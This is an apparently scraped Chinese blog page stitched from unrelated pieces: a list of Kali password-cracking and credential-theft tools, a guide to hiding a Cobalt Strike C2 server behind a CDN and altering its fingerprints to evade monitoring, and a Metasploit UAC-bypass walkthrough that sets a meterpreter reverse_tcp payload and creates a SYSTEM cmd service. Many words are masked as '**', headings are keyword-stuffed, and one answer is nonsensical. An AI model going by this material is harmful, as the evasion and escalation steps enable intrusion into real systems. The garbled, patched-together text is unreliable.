渗透利器提权辅助工具箱,渗透后如何提权
作者:hacker | 分类:脱壳 | 浏览:148 | 日期:2023年03月18日目录:
polenum,可以获取哪些信息
目前,帐号仍然是最主要的用户身份认证方式,但由于安全意识的淡漠,很多人仍在使用弱口令。而一旦泄漏,所有安全防范机制都将形同虚设。
本课程《用户口令审计》是『Kali Linux工具大全』技术系列的第5部分。向大家详述Kali Linux中全部在线/离线弱口令审计工具的用法,以此来帮助大家提前发现自己系统中的弱口令问题。

用户口令审计工具介绍
1、crunch
在面对妥善保护的系统时,我们可能很难发现其漏洞和可渗透的突破口。作为渗透测试人员,此时应尝试对目标系统进行弱密码的检测。密码**成败的关键在于字典的质量,crunch是一个密码字典生成器,它可以灵活的按照规则生成定制的密码字典,为了方便使用,其内建了常用的字符集文件,并支持自定义密码构成元素。
2、wordlists / SecLists
在面对妥善保护的系统时,我们可能很难发现其漏洞和可渗透的突破口。作为渗透测试人员,此时应尝试对目标系统进行弱密码的检测,密码**成败的关键在于字典的质量。为了方便使用,Kali中已默认包含了大量通用密码字典,它们分别存放在wordlists、seclists两个目录之中。除密码字典之外,以上目录中还包含大量漏洞挖掘和Fuzz用途的字典文件。 hashid / hash-identifier
单向加密算法是将可变长度输入数据,加密生成固定长度的密文输出值,即所谓的HASH值。此加密算法通常被认为是不可逆的。但我们可以提前计算常见数据的HASH值,并利用其进行反查匹对应的明文,实现HASH**。由于HASH算法种类众多,因此需要hashid、hash-identifier来提前判断生成密文的HASH算法,以便查询对应明文。 findmyhash
单向加密算法是将可变长度数据,加密生成固定长度的密文输出值,即所谓的HASH值。此加密算法通常被认为是不可逆的。但有众多网站会提前计算常见数据的HASH值,并利用其进行反查匹对应的明文,以此实现HASH值**。findmyhash可在线查询多个站点的HASH值数据库,批量完成HASH值匹配的**,其新版本查询效果更佳。
3、 fcrackzip
存有机密数据的文件,经常会被其所有者加密压缩保存。而作为数据安全审计者,则应对加密文件进行弱口令检查,以确保数据安全性。fcrackzip是一款快速的ZIP压缩文件密码**工具,其支持基于字典和**的两种工作模式,同时其内建了字符集和密码规则指定功能,免去了使用者提前准备和保存密码字典文件的繁琐。
4、cupp3 / cewl / fab-cewl
由于人性与生俱来的弱点,使得弱口令成为很多系统都存在的安全问题,即使是那些安全防护较好的站点也不例外。作为渗透测试者,如果能够获得目标系统的密码,则无需繁琐的漏洞挖掘,即可直接接管目标系统。密码**的关键在于字典的命中率,cupp3可依据个人信息生成专属字典,cewl则通过收集企业信息生成专属字典。使用这些有针对性的字典,使得密码**的成功率更高。
5、 pwdump / samdump2
出于安全性的考虑,windows系统并不会保存用户账号的明文密码,而是以加密的形式存储于本机的SAM数据库中。不过密码虽为密文保存,但如果密码过于简单,仍然存在被**的可能性。在可以物理接触电脑的情况下,我们可以利用pwdump、samdump2来读取SAM数据库文件中的密文密码,然后再使用其他工具进行密码**。
6、chntpw
我有一个同事曾经受到电脑勒索,攻击者修改了他的系统账号密码,并要求他支付赎金。众所周知,出于安全性的考虑,windows系统并不会保存用户账号的明文密码,而是以加密的形式存储于本机的SAM数据库中。因此我们可以通过chntpw工具本地读取并修改SAM数据库,将账号密码清空,从而避免受到坏人的勒索。
7、 hydra
密码**可以分为在线**和离线**两种。所谓在线**,就是使用不同的密码向目标服务器发起重复的身份验证请求,然后根据服务器的反馈信息判断登陆是否成功。hydra是开源世界在线密码**工具中的王者,它不但支持常见的所有协议类型,同时也支持不同形式的WEB表单认证**。它功能强大,使用灵活简洁。
8、 pw-inspector
由于人性与生俱来的弱点,弱口令成为很多系统都存在的安全问题,即使是很多安全防护较好的站点也不例外。密码**的关键在于字典的命中率,如果你知道密码的字符构成规则,可以使用pw-inspector对已有密码字典进行过滤筛选,以便提高密码**的效率。pw-inspector不能凭空生成字典,它只是对现有字典的过滤筛选工具。
9、medusa
密码**分为在线**和离线**两种。所谓在线**,就是使用不同的账号密码重复向目标服务器提交身份验证请求,然后根据服务器的反馈信息判断登陆是否成功。medusa是开源世界在线密码**工具中的又一王者(与hydra齐名),它支持常见的所有协议类型,同时超高的稳定性是其更大的优势,是密码**领域的必备工具。
10、cmospwd
计算机开机后运行的之一个程序是POST,即加电自检程序。其检测到的硬件参数和使用者的设置参数都存储于cmos内存芯片中,这些配置参数中也包括cmos密码。在你不小心忘记了密码而无法修改硬件参数时,我们可以使用debug命令或comspwd工具清空或找回密cmos密码,其中cmospwd工具兼容众多BIOS生产厂商的产品,同时对某些品牌机的BIOS还有自动解锁的功能,是一个优秀的跨平台解密工具。
11、 gpp-decrypt
从windows server 2008开始,微软为其活动目录域新增加了20多项组策略首选项(gpp)设置,其中包括通过GPO统一修改客户端账号密码的功能。出于安全的考略,微软使用了强**的AES算法来加密下发的密码,但乌龙事件使得微软在其开发者网站上直接公布了该**,因此使得安全目标完全破灭。gpp-decrypt既是一个基于泄漏**,对加密密码进行解密还原的工具。
12、dbpwaudit
dbpwaudit是一个由java语言编写的数据库在线密码**工具,它只支持MSSQL、MySQL、DB2、Oracle等四种数据库类型。直到授课前我才发现,最新版的Kali Linux中已经不再包含此工具,因此现在我们必须手动下载才能使用这款工具。在审计不同数据库时,我们还需要单独下载相应数据库的JDBC驱动,才能使其正常工作。
13、 crowbar
crowbar是一个在线的密码**工具,与同为密码**工具的hydra、medusa相比,crowbar支持的协议类型十分有限(只有四种),但却个性十足。crowbar支持的认证**方式可以很好的弥补hydra、medusa的不足,它支持Openv*n以及基于**方式身份认证的SSH、VNC服务,可作为其他强大密码**工具的重要补充。
14、brutespray
渗透测试初期,我们总是会通过nmap进行主机发现、端口发现、服务发现等几个步骤,来确认可进行密码**的服务类型,然后再放出hydra、medusa等工具来实施**。过程中如果相关端口数量众多的话,我们就不得不笨拙的一个一个进行输入。brutespray可以自动读取和解析nmap的扫描报告,并从中识别出可进行密码**的服务类型,让后再自动调用medusa实施**,这将大大提高我们的工作效率。
15、polenum
为了保护信息安全,企业 *** 通常会制定密码策略,强制要求员工设置足够安全的系统账号密码。但人永远都是安全中最薄弱的环节,由于人性中与生俱来怕麻烦和懒惰等特性,大家总是趋向于给自己设置简单的弱口令。作为企业中的安全和审计人员,有责任发现并纠正密码策略失效的情况,polenum是一个正向的安全检查工具,它能够帮助我们高效快捷的进行操作系统的密码策略审计。
16、r *** angler
与通过挖掘漏洞来进行渗透相比,通过密码**来渗透目标的技术门槛相对较低,而且一旦成功其渗透行为也更加隐秘,因此密码**成为了渗透过程中不可缺少的重要步骤。密码**的成功关键在于密码字典的命中率,基于大多数人构造密码的习惯(姓名-生日-爱好等),r *** angler可以基于有限的个人信息,变形生成数量巨大的针对性专属密码字典,从而大大提高密码**的成功率。
17、 cachedump / lsadump
creddump工具集中包含了三个关于windows系统密码的**工具。cachedump针对域账号在本地计算机中的缓存身分验证信息,它可以还原这些缓存的认证信息,并结合其他离线**工具进行密码**。运气好的话,你可能会得到域管理员的密码!!lsadump则可以直接还原那些由操作系统记住的密码,比如登陆 *** 驱动器的密码、v*n密码、拨号密码、系统自动登陆密码等,由于可以还原出明文密码,因此lsadump被视为安全从业人员的必备工具。
18、pack
如果你认为自己学会了几个密码**软件,就可以自称专业人士的话,那只能说明你还是个小白。众所周知,根据目前计算机的运算能力,实现全键盘空间字符的密码**是不可能的。但如果能准确的分析密码构成规则,则完全可以在可接受的时间范围内,完成半数以上的密码**。Pack全称是密码分析**工具包,他通过分析已有字典的密码构成规则,使我们可以在最短的时间里更大限度的完成**密码。这是你成为密码**专业人士的必备一课。
19、ophcrack
众所周知,windows系统会将用户帐号的密码,经过单向加密之后保存在用户帐号数据库中。但由于加密算法公开通用,因此明文密码加密之后的密永远不变,这直接导致了密码碰撞**思路的产生,即攻击者先计算出全部明文对应的密文,再通过比对密文来**明文。ophcrack是一个基于彩虹表的windows密码**工具,同时其官网提供了大量现成的彩虹表下载,从而大大提高了密码的**效率。
20、 rainbowcrack
虽然单向加密算法通常被认为是不可能被**的,但黑客却找到了碰撞**的思路。即先计算出全部明文对应的密文,然后再通过比对密文来倒推明文的方式。在碰撞**的过程中计算明文对应密文的过程最耗时,因此有人提出了彩虹表的概念,将明文加密后对应的密文结果保存下来,以便日后重复使用,即彩虹表。rainbowcrack内含一套彩虹表的生成、优化、**工具,并支持众多加密算法,更可利用GPU提高运算速度。
21、 ncrack
ncrack是由nmap项目共同维护的在线密码**工具,因此其命令格式和参数的用法都与nmap命令非常相似,这无疑会大大降低新用户的学习成本,同时其模块化的架构使其可以满足更多应用场景的需求。虽然其名气并不很大,但从密码**能力方面来看,ncrack毫不逊色于同类的hydra、medusa等著名在线密码**工具,而且在速度和稳定性方面还有更加优异的表现。
22、maskprocessor
众所周知,根据目前计算机的运算能力,要实现全键盘空间字符的密码**是不可能实现的。因此更多情况下,我们都会采用基于字典的密码**方式,而此时字典的命中率则成为密码**成败的关键。为了构成命中率更高、更有针对性的密码字典,maskprocessor给我们提供了众多的规则选择,是我们自定义密码字典的首选利器。
23、sucrack
通常渗透测试者在通过应用程序漏洞获得系统shell之后,会发现自己拥有的只是普通用户帐号的权限,因此需要进一步的提权操作,将自己提升为root权限。su是所有linux系统都支持的用户切换命令,而切换过程中需要提供目标帐号的密码,因此我们可以利用此功能,使用不同的密码重复向系统进行身份验证,以此来实现密码的暴力**,sucrack即是自动实现这一过程的首选工具。
24、thc-pptp-bruter
为防止内部系统暴露在公网之上,很多公司会采用v*n的解决方式,而微软的MSChapV2则是v*n最广泛被采用的身份验证 *** 。不幸的是,微软系统的早期版本在实现身份验证的过程中存在漏洞,微软虽然为此发布了补丁,但并未彻底修复该漏洞,使得所有采用该身份验证方式的v*n都会遭受到密码的暴力**攻击。thc-pptp-bruter即是利用此漏洞,专门针对PPTP v*n进行密码**的工具之一。
24、patator
虽然hydra、medusa、ncrack等工具都是优秀的在线密码**工具,但仍然无法满足所有场景的**需求,因此在厌倦了以上所有工具之后,作者开发了patator。这是一款高度定制化的密码**工具,使用者可以按照当前实际场景,灵活定义**成功与否的判断依据,但也同时使其学习成本明显高于其他工具。同时patator还包涵部分在线枚举和离线密码**功能,使其成为一个综合型的密码**工具。
25、 hashcat
如果上天只允许我选择一个离线密码**工具的话,那么我的选择一定是hashcat。hashcat不但开源免费,而且它还是世界上速度最快的离线密码**工具。它提供多系统、多算法、多硬件平台、分布式等几乎全特性的功能支持,同时还支持OpenCL、CUDA等编程标准。目前hashcat已经实现了所有版本的合并统一,使得初学者无需再迷茫的寻找适合自己的软件版本,现在hashcat会自动检测你的CPU和GPU,从而更大限度的发挥你的计算能力。
26、sipcrack
利用廉价共享带宽的IP *** 承载实时语音通话的技术称为VoIP,SIP则是目前使用最广且接受度更高的VoIP信令协议。SIP是一种基于文本的信号控制协议,主要负责在客户端与服务期(PBX)间进行身份认证、会话建立和会话管理等工作。如果攻击者可以嗅探身份认证的通信过程,则可以利用sipcrack基于字典**其中的加密摘要信息。
27、oclGaussCrack
2009年震网病毒的出现,标志着***背景的武器化攻击程序已经走入现实。随后出现的火焰病毒再次证明, *** 空间的战争其实每天都在我们身边悄悄的进行。2011年出现的高斯病毒使用了与震网、火焰病毒相同的基础代码、软件建构以及与CC服务器的通信方式,种种迹象表明它们全部出自同一开发队伍。由于采用了高级加密方式,最初高斯病毒的payload无法解密,直到ocalgausscrack工具的出现。
28、mimikatz
最近安全社区的一篇文章评出了黑客最经常使用的5个工具,其中就包括本课的mimikatz,此工具堪称windows系统凭据收集领域的瑞士军刀,即在统一框架下集成了众多身材小巧且功能强大的工具 *** 。凭据包括账号密码、HASH、证书、令牌、cookie等众多类型的信息,一旦获取将可能完全控制目标系统。但由于该工具涉及过多的背景知识,因此几乎没有人能发挥其全部功能(一般只用两条命令),本课我竭尽所能向大家展示这个神一样的存在。
29、 PtH / WCE / xfreerdp
密码**是个耗时耗资源的事情,如果可以不必忍受这个煎熬的过程,相信每个渗透测试者都会兴奋不已。在密码**领域有一种称为Pass the Hash的攻击思路,即在已经获得密码密文的情况下,并不进行**,而是直接提交密文从而实现身份认证。其最典型的应用场景就是攻击Windows操作系统,windows早期版本的密码加密过程不加盐,因此很容易遭受PtH攻击。本课为大家介绍的PtH工具包共包含10个具体工具,分别适合在不同需求环境下使用。
30、Statsprocessor / hcstatgen
依靠现代计算机的运算能力,并不足以在可接受的时间范围内完成全键盘字符空间的密码**任务,这正是现代密码学仍然可以提供安全性的前提,因此纯暴力的密码**是不现实的,同样也使得基于密码字典的**方式成为普遍的选择。如何减小字典的体积,同时提高命中率是所有**者的共同目标。本课我重点向大家介绍“马尔科夫链”在密码**领域的实际应用,同时利用本课的两个工具,我们可以轻松生成接近真实的密码字典。
31、 John / Johnny / unshadow
John the Ripper是你必须掌握的一个离线密码**工具,它可以自动识别并解密200多种加密算法和应用。其功能之丰富强大,已经达到了令人震惊的程度,为了降低使用者的难度,John通过配置文件保存大部分常用参数,因此使用者并不会觉得太过复杂。它支持4种**模式,可以满足所有用户和场景的需要,强大的掩码和规则更可对现有密码字典进行丰富的变形,更大程度提高密码**成功率。Johnny是图形化界面的John。
渗透测试利器【Cobalt Strike】CDN隐匿
Cobalt Strike是一款漂亮国Red Team开发的渗透测试神器,常被业界人称为CS。成为渗透利器提权辅助工具箱了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket *** ,office攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具并且可以作为团队服务使用,因此广受 *** 安全人员喜爱。
虽然Cobalt Strike在渗透测试使用过程中非常的方便和强大,但其默认的特征信息使得CS服务端也会很容易被态势感知等监测设备所识别到,并且服务器开启默认端口后也会被情报网站标记为攻击服务器,且如果teamserver密码简单也会被反爆破。
因此就需要对Cobalt Strike的流量、特征等进行隐匿。本文章采用的是CDN+修改特征隐匿的 *** 。
这里使用 平台进行注册,需要登陆,因此提前准备好一个邮箱,国内外邮箱都行。
tips渗透利器提权辅助工具箱:
1、在选择好域名并注册后,需要登录平台,然后填写相关信息以用于注册(当前ip所处的地址这里必须一致、邮编、手机号等可采用漂亮的虚拟信息)渗透利器提权辅助工具箱;
2、后续要使用cdn平台,因此需要在这个域名平台里面绑定cdn平台的ns记录。
域名注册完成后先不要急着解析,进行第二步的CDN平台配置。
CDN平台建议使用cloudflare
先注册个账号登陆一波,使用邮箱注册,方便起见可以和freenom平台用同一个邮箱。
进入cloudflare平台后,点击左侧的网站,然后添加一个域名,这里添加的域名就是freenom注册的。
站点添加完成后,点击站点进去,在左侧DNS中添加记录。
在添加完成后如果上面出现这样的告警,就代表在freenom平台中还没有修改ns记录,需要去将ns记录修改为cdn平台的。
进入freenom平台修改ns记录,先登录,进入到域名管理处,修改ns名称。这里要填写的ns名称是CDN平台给分配的,参见上面一张图,ns前缀基本都是随机分配的,因此以CDN平台上的为准。
freenom改好ns记录后,再到CDN平台上点击上上图的“检查名称服务器”即可更新完成。此时再去解析域名、ping域名,都会成功返回到CDN的ip地址。
在CDN平台左侧的SSL/TLS-----概述中,将右边的加密模式选择为灵活。
在左侧源服务器中,点击创建证书。源服务器私钥类型选择ECC,密钥格式选择PEM。 一定要将源证书和私钥复制下来渗透利器提权辅助工具箱!后续要用到。
CDN默认开启缓存,可能会影响后续主机上线、shell命令回显等。因此这里有两种关闭缓存的 *** 建议都开启。
在CDN平台-缓存-配置-开发者模式-开启。
规则-创建页面规则中创建两条规则。以下规则中的域名不需要填写A记录名。
1、 .your dmoain/ ;
2、your dmoain/*;
3、将规则设置为-缓存级别-绕过。
2.生成新的cobaltstrike证书。如果原先的cobaltstrike文件夹内有默认的.store证书,需要先删除掉默认的。使用以下命令生成:
ps:这里的pass密码需要修改,改为复杂的密码,不要使用123456。
ps:这里的所有密码都要和上面的一致。
6.1 修改teamserver默认端口
编辑teamserver配置文件,将CobaltStrike默认的50050端口改成其它端口。
6.2 修改teamserver默认指纹信息
编辑teamserver配置文件,默认的是cobalt strike信息或Microsoft信息。
可将指纹信息改为其它的内容。
启动teamserver的命令需要微调下:
./teamserver 服务器公网IP 密码 C2.profile
连接上teamserver后,创建个监听器和马子。注意监听器的地址要填写CDN绑定的域名,而不是IP地址了
PS:在创建监听器时,建议使用https模式。并且监听器的https上线端口不要使用默认的443,否则可能会无法正常上线。建议监听端口使用CDN支持的其它端口。
先在虚拟机里面打开个wireshark开启抓包模式,然后将马子丢到虚拟机里面执行。
此时在CS里面主机已经上线。然后看wireshark中的数据包,过滤服务器真实地址发现一条都没有,均是和CDN地址的交互数据。
下图筛选服务器地址:
下图筛选CDN地址:
至此CDN隐匿完成。
网站渗透提权到爆破数据库密码需要多长时间
网站渗透提权到爆破数据库密码需要十天。根据查询相关信息显示:高级网站渗透测试的话需要十天,是由人工对每个功能和代码进行全面的测试,看杜绝工具扫描,全靠人工实打实的实战经验基础。
渗透测试之内网提权
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac
开始提权
getsystem
提权失败 一般都是上面说的uac的问题 常识 bypass uac
输入background 让该会话在后台运行 不在这个模式下 没办法调用msf的提权模块
使用提权工具
set SESSION 2(这个session要和之前监听的那个session一样 否则不成功)
set TECHNIQUE up.exe
set TECHNIQUE EXE
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.107
show options
sessions -i
exploit
或者使用
use post/windows/gather/enum_patches
需要设置一下session
如果目标系统安装了安全更新的话是无法提权成功的
出现这种情况就是无法成功提权 可利用的漏洞都被打上补丁了
或者漏洞编号:ms11-080
windows 7、8、08、12、16下可以成功 2003也可以
关于sc命令:
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
然后执行
sc start systcmd,就得到了一个system权限的cmd环境